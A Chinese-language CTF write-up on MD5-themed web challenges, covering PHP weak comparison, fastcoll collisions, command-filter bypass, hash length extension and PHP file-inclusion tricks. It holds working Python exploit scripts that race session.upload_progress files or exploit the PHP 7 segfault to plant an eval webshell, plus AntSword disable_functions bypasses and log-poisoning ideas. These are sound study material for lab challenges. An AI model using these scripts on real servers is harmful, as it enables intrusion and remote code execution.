CTF题型 md5考法相关例题总结
文章目录
- CTF题型 md5考法相关例题总结
- 一.md5弱字符相等(==)
- [SWPUCTF 2021 新生赛]easy_md5
- 二.md5强字符相等(===)
- 1)文件相等
- [2024 qsnctf 擂台赛 easy_md5]
- 2)字符相等
- [安洵杯 2019]easy_web
- 三.md5哈希长度扩展攻击
- [NPUCTF2020]ezinclude
- 文件包含利用
- 1.session文件包含
- 2.php7 segment fault特性(段错误)
- 3.包含日志文件(Fail)
一.md5弱字符相等(==)
[SWPUCTF 2021 新生赛]easy_md5
例题 https://www.nssctf.cn/problem/386
关键代码就一行 if ($name != $password && md5($name) == md5($password))
保证 值不相等 而且 md5 值 弱比较相等
因为 md5(数组)将返回 Null
弱比较 进行了类型转换
二.md5强字符相等(===)
1)文件相等
[2024 qsnctf 擂台赛 easy_md5]
有 https://www.qsnctf.com/#/main/driving-range
题目名 :easy_md5
传两个相同的pdf文件
保证md5的值强相等 强相等不会进行自动类型转换 此时不能输入数组了,只能输入字符串
工具:fastcoll 生成md5强相等的字符串
下载地址;http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
可以指定前缀(有些题需要特定前缀)
这里我们新建一个pdf文件
fastcoll_v1.0.0.5.exe test.pdf -o 1.pdf 2.pdf
上传相同两个md5文件
直接拿flag
2)字符相等
[安洵杯 2019]easy_web
题目环境:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_web
暗示题目和md5有关
开题传了一个img参数
直接传赛博厨子
发现经过两次base64解码和hex解码后得到 图片名
猜测是任意文件读取
尝试读取index.php 同样的操作后 得到结果TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
得到base64内容解码后
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
成了一道命令执行的题
绕过
preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)
禁止了很多读取文件的命令 ,以及一些符号
就是不禁 /
用 base64 读文件即可
base64 /flag
前面我们用fastcoll生成 md5强相等的文件
在用一个脚本转换为字符即可(根据实际情况改文件名)
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo("当前工作目录:".getcwd()."\n");
$a = urlencode(readmyfile(getcwd().'\1.txt'));
$b = urlencode(readmyfile(getcwd().'\2.txt'));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
echo "\n";
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}
生成文件fastcoll_v1.0.0.5.exe test.txt -o 1.txt 2.txt
通过文件生成两段相同 md5的字符串
%01%BE%A5%8B%7F%C5%2A%3D%E3%9D.%3B%19%0B%A1%1C%A8%AD%03%10%959%8E%2A%3F%AE%83rK%AC%0CE%D4%B9%F9%F2%EEv%E6%D2%EBon%DB%CA%7FPB%3DWP%19%9D%14%5E7c%81%C7%A7%1A%A6%1D%F0%9D%AF.P%D9%2C-%93%ED%01%E4d%B2q%ED%A1%29%F5%84M%16%CB%A7.%7C%15%B4%CF%5B%8C%CDA6%CC%C0%8D%86%0B%7B%F6%1A%96%E7%F0%93j%EFH%82%9F4%0F%5E%91dY%CA%87%DA%FF%D7%E6%11%D3
%01%BE%A5%8B%7F%C5%2A%3D%E3%9D.%3B%19%0B%A1%1C%A8%AD%03%90%959%8E%2A%3F%AE%83rK%AC%0CE%D4%B9%F9%F2%EEv%E6%D2%EBon%DB%CA%FFPB%3DWP%19%9D%14%5E7c%81%C7%27%1A%A6%1D%F0%9D%AF.P%D9%2C-%93%ED%01%E4d%B2q%ED%A1%29%F5%84%CD%16%CB%A7.%7C%15%B4%CF%5B%8C%CDA6%CC%C0%8D%86%0B%7B%F6%1A%96%E7%F0%93%EA%EEH%82%9F4%0F%5E%91dY%CA%87%DA%7F%D7%E6%11%D3
可以成功执行命令
base64 /flag
特殊字符 urlencode一下
可以拿到flag
我看网上都是 用 \ 拼接绕过的(代表命令的续接)
但是不是禁了 \ 吗 https://hiregex.com/
可能非预期了哈哈
三.md5哈希长度扩展攻击
特征;md5(密文+“已知的字符串”)===已知的md5值
求密文的值
就可以判断这题考md5哈希长度扩展攻击
懒鬼专用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file
傻瓜式操作+汉化 密钥长度要自己尝试
[NPUCTF2020]ezinclude
题目环境:https://buuoj.cn/challenges#[NPUCTF2020]ezinclude
name pass为空时返回hash (md5的形式)
<!--md5($secret.$name)===$pass -->
说明返回的hash就是 pass的值
居然可以直接传递pass=hash的值 绕过
感觉非预期 烂了 这道题好像和md5哈希长度扩展攻击 关系不大…哈哈哈哈
访问 flflflflag.php 出题人有点阴险 故意做了一个重定向
变成一个文件包含的问题 包含/etc/passwd 可以正常包含
用伪协议直接包含/flag 无回显
看看 flflflflag.php 源码
?file=php://filter/convert.base64-encode/resource=flflflflag.php
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
文件包含利用
续接上题 文件包含利用
1.session文件包含
利用session.upload_progress
可控sess临时文件名 进行条件竞争 实现在 sess文件被自动清理之前被执行
payload
import io
import sys
import requests
import threading
host = 'http://a407b462-0749-4249-a31f-817881e6edfd.node5.buuoj.cn:81/flflflflag.php'
sessid = 'test'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('1.php','w'),'<?php eval($_POST[1])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'php.net' not in response.text: #代表未成功写入
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
退出后访问1.php
可以在环境变量中找到flag
2.php7 segment fault特性(段错误)
php7 segment fault特性:当PHP异常退出时,POST的临时文件会被保留(无论网站是不是在POST方法里接收了文件,只要传了就会被当成临时文件保留)
保存在 /tmp目录
利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名
php环境可以利用
常用崩溃payloadphp://filter/string.strip_tags/resource=/etc/passwd"
看网上都是通过dirsearch发现dir.php 文件
?file=php://filter/convert.base64-encode/resource=dir.php
读取源码
<?php
var_dump(scandir('/tmp'));
?>
发现扫描了 /tmp目录 可以拿/tmp目录的文件名
结合php7 segment fault特性
利用脚本
import requests
from io import BytesIO
url="http://d1fdd60d-2b91-4eec-b515-b332b741eac1.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php eval($_POST[1]);?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)
页面崩溃 一切顺利
访问dir.php
可以拿到文件名 php2Bhnht
包含 php奔溃文件 echo(123)可以回显
查看 phpinfo();
发现flag在环境变量里
发现开启了disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir
禁用了许多系统函数 尝试绕过disable_functions
直接丢给蚁剑 用蚁剑终端
返回ret=127 说明disable_functions生效
用蚁剑的插件绕过
发现flag在环境变量里
3.包含日志文件(Fail)
一般日志位置:
nginx : /var/log/nginx/access.log
apache2: /var/log/apache2/access.log
没有进行记录,不可利用
换种思路 利用当前程序的环境变量
用虚拟文件系统…/…/…/…/proc/self/environ
HTTP_User_Agent塞php脚本
读不到/proc/self/environ 也不行
可能也可以用php filter chain 直接rce 绕过
之后有空写个文件包含专题吧